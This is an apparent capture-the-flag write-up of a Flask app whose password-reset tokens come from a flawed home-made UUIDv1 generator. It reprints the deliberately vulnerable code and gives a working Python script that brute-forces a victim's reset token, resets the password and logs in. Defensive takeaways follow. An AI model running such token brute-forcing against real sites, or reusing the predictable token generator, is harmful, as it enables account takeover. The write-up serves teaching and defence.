Hacking UUIDv1 (DCTF 2026)
Intro
Nom Nom (DCTF 2026) looks like a small Flask login app with a standard password-reset feature, but the reset token logic is fundamentally broken.
Our goal is to take over [email protected], the only account that reveals the flag on /dashboard. The app generates reset tokens using a custom UUIDv1-style function where most fields remain constant across requests, leaving only a timestamp-derived portion that varies.
In this writeup we will reverse the token structure, recover the fixed portion from a reset token we control, brute-force the short timestamp window for the victim’s token, and use it to reset the victim’s password and capture the flag.
The vulnerable code
The challenge files are available from the Nom Nom challenge page.
After ignoring templates and static assets, the exploit-relevant logic lives in three files: app.py, security.py, and setup.py.
app.py gives us the high-level attack goal: the flag is only rendered on /dashboard when the logged-in email matches
Settings.VICTIM_EMAIL (default [email protected]). It also shows where reset tokens are created (uuid1_now())
and later accepted (/reset-password).
app.py
import sys, os, secrets, smtplib, sqlite3, dotenv
sys.dont_write_bytecode = True
from email.message import EmailMessage
from functools import wraps
from security import uuid1_now, check_password_hash, generate_password_hash
from flask import Flask, flash, g, redirect, render_template, request, session, url_for
dotenv.load_dotenv()
class Settings:
DB_PATH = "./db/lite.db"
FLAG: str = os.getenv("FLAG", "flag-not-configured")
HTTP_PORT: int = int(os.getenv("HTTP_PORT", "8000"))
HTTP_HOST: str = os.getenv("HTTP_HOST", "0.0.0.0")
VICTIM_EMAIL: str = os.getenv("VICTIM_EMAIL", "[email protected]").strip().lower()
SENDER_EMAIL: str = os.getenv("SENDER_EMAIL", "[email protected]")
SMTP_HOST: str = os.getenv("SMTP_HOST", "mail.dragonsec.si")
SMTP_PORT = int(os.getenv("SMTP_PORT", "587"))
SMTP_USER: str = os.getenv("SMTP_USER")
SMTP_PWD: str = os.getenv("SMTP_PWD")
SMTP_USE_TLS: bool = os.getenv("SMTP_USE_TLS", "1") == "1"
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
def get_db() -> sqlite3.Connection:
if "db" not in g:
g.db = sqlite3.connect(Settings.DB_PATH)
g.db.row_factory = sqlite3.Row
g.db.execute("PRAGMA foreign_keys = ON")
return g.db
@app.teardown_appcontext
def close_db(_error: Exception | None) -> None:
db = g.pop("db", None)
if db is not None:
db.close()
def current_user() -> sqlite3.Row | None:
user_id = session.get("user_id")
if not user_id:
return None
return get_db().execute("SELECT id, email FROM users WHERE id = ?", (user_id,)).fetchone()
def login_required(view_func):
@wraps(view_func)
def wrapped_view(*args, **kwargs):
if current_user() is None:
return redirect(url_for("login"))
return view_func(*args, **kwargs)
return wrapped_view
def send_reset_email(receiver_email: str, token: str) -> bool:
reset_url: str = url_for("reset_password", token=token, email=receiver_email, _external=True)
msg = EmailMessage()
msg["Subject"] = "Nom Nom Lab Password Reset"
msg["From"] = Settings.SENDER_EMAIL
msg["To"] = receiver_email
msg.set_content(
"\n".join(
[
"Hey there,",
"",
"Your reset sandwich link is ready:",
reset_url,
"",
"If this wasn't you, ignore this message.",
"Nom Nom Lab",
]
)
)
try:
with smtplib.SMTP(Settings.SMTP_HOST, Settings.SMTP_PORT, timeout=10) as smtp:
if Settings.SMTP_USE_TLS:
smtp.starttls()
if Settings.SMTP_USER and Settings.SMTP_PWD:
smtp.login(Settings.SMTP_USER, Settings.SMTP_PWD)
smtp.send_message(msg)
except Exception as exc:
app.logger.exception("Failed to send reset email: %s", exc)
return False
return True
@app.route("/")
def index() -> str:
user = current_user()
if user:
return redirect(url_for("dashboard"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register() -> str:
if current_user() is not None:
return redirect(url_for("dashboard"))
if request.method == "POST":
email = request.form.get("email", "").strip().lower()
password = request.form.get("password", "")
if not email or "@" not in email:
flash("Please enter a valid email address.", "error")
return render_template("register.html")
if len(password) < 8:
flash("Password must have at least 8 characters.", "error")
return render_template("register.html")
db = get_db()
try:
db.execute(
"INSERT INTO users(email, password_hash) VALUES (?, ?)",
(email, generate_password_hash(password)),
)
db.commit()
except sqlite3.IntegrityError:
flash("An account with this email already exists.", "error")
return render_template("register.html")
flash("Account created. You can log in now.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login() -> str:
if current_user() is not None:
return redirect(url_for("dashboard"))
if request.method == "POST":
email = request.form.get("email", "").strip().lower()
password = request.form.get("password", "")
user = get_db().execute(
"SELECT id, email, password_hash FROM users WHERE email = ?", (email,),
).fetchone()
if user is None or not check_password_hash(user["password_hash"], password):
flash("Invalid email or password.", "error")
return render_template("login.html")
session.clear()
session["user_id"] = user["id"]
flash("Welcome back to Nom Nom Lab.", "success")
return redirect(url_for("dashboard"))
return render_template("login.html")
@app.route("/logout")
def logout() -> str:
session.clear()
flash("You have been logged out.", "success")
return redirect(url_for("login"))
@app.route("/dashboard")
@login_required
def dashboard() -> str:
user = current_user()
show_flag = user["email"].lower() == Settings.VICTIM_EMAIL
return render_template(
"dashboard.html",
user=user,
show_flag=show_flag,
flag=Settings.FLAG if show_flag else None,
)
@app.route("/request-reset", methods=["GET", "POST"])
def request_reset() -> str:
if request.method == "POST":
email = request.form.get("email", "").strip().lower()
user = get_db().execute(
"SELECT id, email FROM users WHERE email = ?", (email,),
).fetchone()
if user is not None:
token = uuid1_now()
db = get_db()
db.execute(
"INSERT INTO reset_tokens(user_id, token) VALUES (?, ?)",
(user["id"], token),
)
db.commit()
send_reset_email(user["email"], token)
flash(
"If this email exists, a reset sandwich link has been delivered.",
"success",
)
return redirect(url_for("login"))
return render_template("request_reset.html")
@app.route("/reset-password", methods=["GET", "POST"])
def reset_password() -> str:
if request.method == "GET":
return render_template(
"reset_password.html",
token=request.args.get("token", ""),
email=request.args.get("email", ""),
)
email = request.form.get("email", "").strip().lower()
token = request.form.get("token", "").strip().lower()
new_password = request.form.get("new_password", "")
if not email or not token:
flash("Email and token are required.", "error")
return render_template("reset_password.html", token=token, email=email)
if len(new_password) < 8:
flash("New password must have at least 8 characters.", "error")
return render_template("reset_password.html", token=token, email=email)
token_row = get_db().execute(
"""
SELECT rt.id, rt.user_id
FROM reset_tokens rt
JOIN users u ON u.id = rt.user_id
WHERE u.email = ? AND rt.token = ? AND rt.used_at IS NULL
ORDER BY rt.id DESC
LIMIT 1
""",
(email, token),
).fetchone()
if token_row is None:
flash("Invalid reset token or email.", "error")
return render_template("reset_password.html", token=token, email=email)
db = get_db()
db.execute(
"UPDATE users SET password_hash = ? WHERE id = ?",
(generate_password_hash(new_password), token_row["user_id"]),
)
db.execute(
"UPDATE reset_tokens SET used_at = CURRENT_TIMESTAMP WHERE id = ?",
(token_row["id"],),
)
db.commit()
flash("Password updated. You can now log in.", "success")
return redirect(url_for("login"))
if __name__ == "__main__":
app.run(host=Settings.HTTP_HOST, port=Settings.HTTP_PORT, debug=False)
From this file alone we already know the win condition: reset the victim’s password and log in as that user.
security.py
This is the vulnerable part. CLOCK_SEQ and NODE are sampled once at process start and reused for every reset
token.
With MODIFIER = 1, uuid1_now() feeds second-resolution time into the UUID builder, meaning only a
small time-derived portion changes between nearby requests.
import random, time
from werkzeug.security import check_password_hash, generate_password_hash
CLOCK_SEQ: int = random.randint(0, (1 << 14) - 1)
NODE: int = random.randint(0, (1 << 48) - 1)
MOFIFIER: int = 1
def uuid1_now() -> str:
return get_uuid1(int(time.time() * MOFIFIER), CLOCK_SEQ, NODE)
def get_uuid1(timestamp: int, clock_seq: int, node: int) -> str:
"""
Generate a UUID v1 manually.
:param timestamp: intervals since 1582-10-15
:param clock_seq: 14-bit sequence number
:param node: 48-bit node
:return: UUID string
"""
if not (0 <= clock_seq < (1 << 14)):
raise ValueError("clock_seq must be a 14-bit integer")
if not (0 <= node < (1 << 48)):
raise ValueError("node must be a 48-bit integer")
time_low: int = timestamp & 0xFFFFFFFF
time_mid: int = (timestamp >> 32) & 0xFFFF
time_hi: int = (timestamp >> 48) & 0x0FFF
time_hi_and_version: int = time_hi | (1 << 12)
clock_seq_low: int = clock_seq & 0xFF
clock_seq_hi: int = (clock_seq >> 8) & 0x3F
clock_seq_hi_and_reserved: int = clock_seq_hi | 0x80
uuid_str: str = (
f"{time_low:08x}-"
f"{time_mid:04x}-"
f"{time_hi_and_version:04x}-"
f"{clock_seq_hi_and_reserved:02x}{clock_seq_low:02x}-"
f"{node:012x}"
)
return uuid_str
setup.py
Finally, setup.py confirms the victim account is pre-seeded in the database during initialization, so we don’t need
to create it. We only need to predict a valid reset token for that email.
import os, secrets, sqlite3
from werkzeug.security import generate_password_hash
SCHEMA_SQL = """
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT NOT NULL UNIQUE,
password_hash TEXT NOT NULL,
created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE IF NOT EXISTS reset_tokens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL,
token TEXT NOT NULL UNIQUE,
created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP,
used_at TEXT,
FOREIGN KEY(user_id) REFERENCES users(id)
);
CREATE INDEX IF NOT EXISTS idx_reset_tokens_user_created
ON reset_tokens(user_id, created_at);
"""
def initialize_database(db_path: str = "./db/lite.db", victim_email: str | None = None) -> None:
with sqlite3.connect(db_path) as db:
db.execute("PRAGMA foreign_keys = ON")
db.executescript(SCHEMA_SQL)
target_email = (victim_email or os.getenv("VICTIM_EMAIL", "[email protected]")).strip().lower()
if target_email:
victim_user = db.execute(
"SELECT id FROM users WHERE email = ?",
(target_email,),
).fetchone()
if victim_user is None:
seeded_password = secrets.token_urlsafe(18)
db.execute(
"INSERT INTO users(email, password_hash) VALUES (?, ?)",
(target_email, generate_password_hash(seeded_password)),
)
db.commit()
if __name__ == "__main__":
initialize_database()
Running locally with Docker
Running this challenge locally is slightly awkward because the exploit path depends on receiving password-reset emails.
Using MailHog as a local SMTP sink makes the setup straightforward.
Here is the exact flow I used:
- Create a dedicated Docker network:
docker network create nomnomnet
- Start the
MailHogcontainer on that network:
docker run -d --name mailhog --network nomnomnet -p 8025:8025 -p 1025:1025 mailhog/mailhog
- Build the challenge image from the challenge directory:
docker build -t nom_nom_dctf .
- Start the challenge container and point SMTP to
MailHog:
docker run --rm -ti --name nomapp --network nomnomnet -p 8000:8000 -e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_USE_TLS=0 nom_nom_dctf:latest
- Open both services:
- Challenge app:
http://localhost:8000/ - MailHog UI:
http://localhost:8025/(reset emails appear here)
UUIDv1 structure
Before exploiting the challenge implementation, it helps to understand the official UUIDv1 layout from RFC 9562, Section 5.1.
A UUIDv1 is 128 bits and is built from:
- A 60-bit timestamp (100 ns intervals since 1582-10-15)
- A 4-bit version field (
0001for v1) - A 2-bit variant field (
10for the RFC 9562 layout) - A 14-bit clock sequence
- A 48-bit node identifier
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | time_low | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | time_mid | ver | time_high | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |var| clock_seq | node | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | node | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The canonical UUID string preserves this bit layout and prints it as 8-4-4-4-12 hex characters:
time_low-time_mid-time_high_and_version-clock_seq_and_variant-node
In our challenge the structure is still recognizable, but the generator feeds low-resolution time and reuses
clock_seq and node across requests – exactly what makes the reset tokens predictable.
Our custom UUIDv1 implementation
Let’s look at security.py again.
CLOCK_SEQ: int = random.randint(0, (1 << 14) - 1)
NODE: int = random.randint(0, (1 << 48) - 1)
MOFIFIER: int = 1
def uuid1_now() -> str:
return get_uuid1(int(time.time() * MOFIFIER), CLOCK_SEQ, NODE)
def get_uuid1(timestamp: int, clock_seq: int, node: int) -> str:
"""
Generate a UUID v1 manually.
:param timestamp: intervals since 1582-10-15
:param clock_seq: 14-bit sequence number
:param node: 48-bit node
:return: UUID string
"""
if not (0 <= clock_seq < (1 << 14)):
raise ValueError("clock_seq must be a 14-bit integer")
if not (0 <= node < (1 << 48)):
raise ValueError("node must be a 48-bit integer")
time_low: int = timestamp & 0xFFFFFFFF
time_mid: int = (timestamp >> 32) & 0xFFFF
time_hi: int = (timestamp >> 48) & 0x0FFF
time_hi_and_version: int = time_hi | (1 << 12)
clock_seq_low: int = clock_seq & 0xFF
clock_seq_hi: int = (clock_seq >> 8) & 0x3F
clock_seq_hi_and_reserved: int = clock_seq_hi | 0x80
uuid_str: str = (
f"{time_low:08x}-"
f"{time_mid:04x}-"
f"{time_hi_and_version:04x}-"
f"{clock_seq_hi_and_reserved:02x}{clock_seq_low:02x}-"
f"{node:012x}"
)
return uuid_str
The structure matches what we described above. Now let’s verify that the low-resolution time is actually exploitable in practice.
Adding a simple loop with some print statements:
import random, time
# from werkzeug.security import check_password_hash, generate_password_hash
CLOCK_SEQ: int = random.randint(0, (1 << 14) - 1)
NODE: int = random.randint(0, (1 << 48) - 1)
MOFIFIER: int = 1
def uuid1_now() -> str:
return get_uuid1(int(time.time() * MOFIFIER), CLOCK_SEQ, NODE)
def get_uuid1(timestamp: int, clock_seq: int, node: int) -> str:
"""
Generate a UUID v1 manually.
:param timestamp: intervals since 1582-10-15
:param clock_seq: 14-bit sequence number
:param node: 48-bit node
:return: UUID string
"""
if not (0 <= clock_seq < (1 << 14)):
raise ValueError("clock_seq must be a 14-bit integer")
if not (0 <= node < (1 << 48)):
raise ValueError("node must be a 48-bit integer")
time_low: int = timestamp & 0xFFFFFFFF
time_mid: int = (timestamp >> 32) & 0xFFFF
time_hi: int = (timestamp >> 48) & 0x0FFF
time_hi_and_version: int = time_hi | (1 << 12)
clock_seq_low: int = clock_seq & 0xFF
clock_seq_hi: int = (clock_seq >> 8) & 0x3F
clock_seq_hi_and_reserved: int = clock_seq_hi | 0x80
print(f"From {timestamp=!r}, {clock_seq=!r} and {node=!r} constructed UUIDv1: {time_low=!r} | {time_mid=!r} | {time_hi_and_version=!r} | {clock_seq_hi_and_reserved=!r} | {clock_seq_low=!r} | {node=!r}")
uuid_str: str = (
f"{time_low:08x}-"
f"{time_mid:04x}-"
f"{time_hi_and_version:04x}-"
f"{clock_seq_hi_and_reserved:02x}{clock_seq_low:02x}-"
f"{node:012x}"
)
return uuid_str
if __name__ == '__main__':
for i in range(5):
print(uuid1_now())
time.sleep(5)
From timestamp=1774779110, clock_seq=8959 and node=246309061432444 constructed UUIDv1: time_low=1774779110 | time_mid=0 | time_hi_and_version=4096 | clock_seq_hi_and_reserved=162 | clock_seq_low=255 | node=246309061432444
69c8fae6-0000-1000-a2ff-e0044c1c947c
From timestamp=1774779115, clock_seq=8959 and node=246309061432444 constructed UUIDv1: time_low=1774779115 | time_mid=0 | time_hi_and_version=4096 | clock_seq_hi_and_reserved=162 | clock_seq_low=255 | node=246309061432444
69c8faeb-0000-1000-a2ff-e0044c1c947c
From timestamp=1774779120, clock_seq=8959 and node=246309061432444 constructed UUIDv1: time_low=1774779120 | time_mid=0 | time_hi_and_version=4096 | clock_seq_hi_and_reserved=162 | clock_seq_low=255 | node=246309061432444
69c8faf0-0000-1000-a2ff-e0044c1c947c
From timestamp=1774779125, clock_seq=8959 and node=246309061432444 constructed UUIDv1: time_low=1774779125 | time_mid=0 | time_hi_and_version=4096 | clock_seq_hi_and_reserved=162 | clock_seq_low=255 | node=246309061432444
69c8faf5-0000-1000-a2ff-e0044c1c947c
From timestamp=1774779130, clock_seq=8959 and node=246309061432444 constructed UUIDv1: time_low=1774779130 | time_mid=0 | time_hi_and_version=4096 | clock_seq_hi_and_reserved=162 | clock_seq_low=255 | node=246309061432444
69c8fafa-0000-1000-a2ff-e0044c1c947c
Process finished with exit code 0
See the problem? Because of the low-resolution time combined with per-process clock_seq and node, only the time_low field in the UUID is dynamic. Everything else is completely predictable.
Writing the exploit
Now that we know the password reset token is a flawed UUIDv1, can we capitalize on this to capture the flag?
First, we create a new account.

Then we immediately request a password reset for that account.

In MailHog at http://localhost:8025/ we receive a password reset email containing a vulnerable UUIDv1 reset token:

Here it is:
Hey there,
Your reset sandwich link is ready:
http://localhost:8000/reset-password?token=69c8fddb-0000-1000-bf00-652dd0c872b7&[email protected]
If this wasn't you, ignore this message.
Nom Nom Lab
With what we know about the token structure, we can write a simple script that brute-forces the time_low field – the only part that changes between tokens.
exploit.py
import argparse
import re
import time
import requests
from urllib.parse import urljoin
def split_token(tok: str):
"""Splits the UUIDv1 into sections"""
p = tok.strip().lower().split("-")
if len(p) != 5:
raise ValueError("Bad token format")
return p[1], p[2], p[3], p[4]
def make_token(ts: int, sfx):
"""Forges a UUIDv1 password reset token by replacing the time_low field"""
return f"{ts & 0xffffffff:08x}-{sfx[0]}-{sfx[1]}-{sfx[2]}-{sfx[3]}"
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True, help="e.g. http://localhost:8000")
ap.add_argument("--known-token", required=True, help="token from your own reset email")
ap.add_argument("--victim-email", default="[email protected]")
ap.add_argument("--new-password", default="Hacked1337!")
ap.add_argument("--window", type=int, default=300, help="seconds to brute backwards")
args = ap.parse_args()
base = args.url.rstrip("/") + "/"
s = requests.Session()
suffix = split_token(args.known_token)
# 1) Create a fresh victim reset token now
s.post(
urljoin(base, "request-reset"),
data={"email": args.victim_email},
allow_redirects=False,
timeout=10,
)
# 2) Brute candidate tokens around current time
now = int(time.time())
found = None
for ts in range(now + 5, now - args.window - 1, -1):
tok = make_token(ts, suffix)
r = s.post(
urljoin(base, "reset-password"),
data={
"email": args.victim_email,
"token": tok,
"new_password": args.new_password,
},
allow_redirects=False,
timeout=10,
)
if r.status_code == 302 and "/login" in r.headers.get("Location", ""):
found = tok
print(f"[+] Valid token: {tok}")
break
if not found:
print("[-] Token not found. Increase --window and retry.")
raise SystemExit(1)
# 3) Login as victim and extract flag
r = s.post(
urljoin(base, "login"),
data={"email": args.victim_email, "password": args.new_password},
allow_redirects=True,
timeout=10,
)
m = re.search(r"<code>([^<]+)</code>", r.text)
if m:
print(f"[+] FLAG: {m.group(1)}")
else:
print("[!] Login attempted; flag not found in response.")
Running the script:
❯ python solve.py --url 'http://127.0.0.1:8000' --known-token '69c8fddb-0000-1000-bf00-652dd0c872b7'
[+] Valid token: 69c90032-0000-1000-bf00-652dd0c872b7
[+] FLAG: flag-not-configured
Our flag! In the local environment the flag is not configured; the production flag was dctf{DonT_7Rus7_uUiDS_e1xpCQ}.
Defense takeaways
Now that we have successfully exploited this application, how should defenders and developers protect against similar attacks?
Don’t use UUIDv1 for security-sensitive tokens like password resets. While the UUIDv1 in Nom Nom is especially vulnerable due to its low-resolution timestamp (the RFC demands a 60-bit, 100 ns timestamp), its structure is partly predictable regardless. Security tokens should be cryptographically random and unpredictable – be wary of pseudorandom generators!
Don’t reinvent the wheel. Use a trusted, well-tested library for generating tokens rather than rolling your own UUID implementation. If you truly cannot use a third-party library, follow the relevant RFCs exactly.
Rate-limit sensitive endpoints. This vulnerability could be at least partly mitigated by rate-limiting password reset requests and login attempts, making brute-force attacks significantly harder.
Reset tokens should be time limited.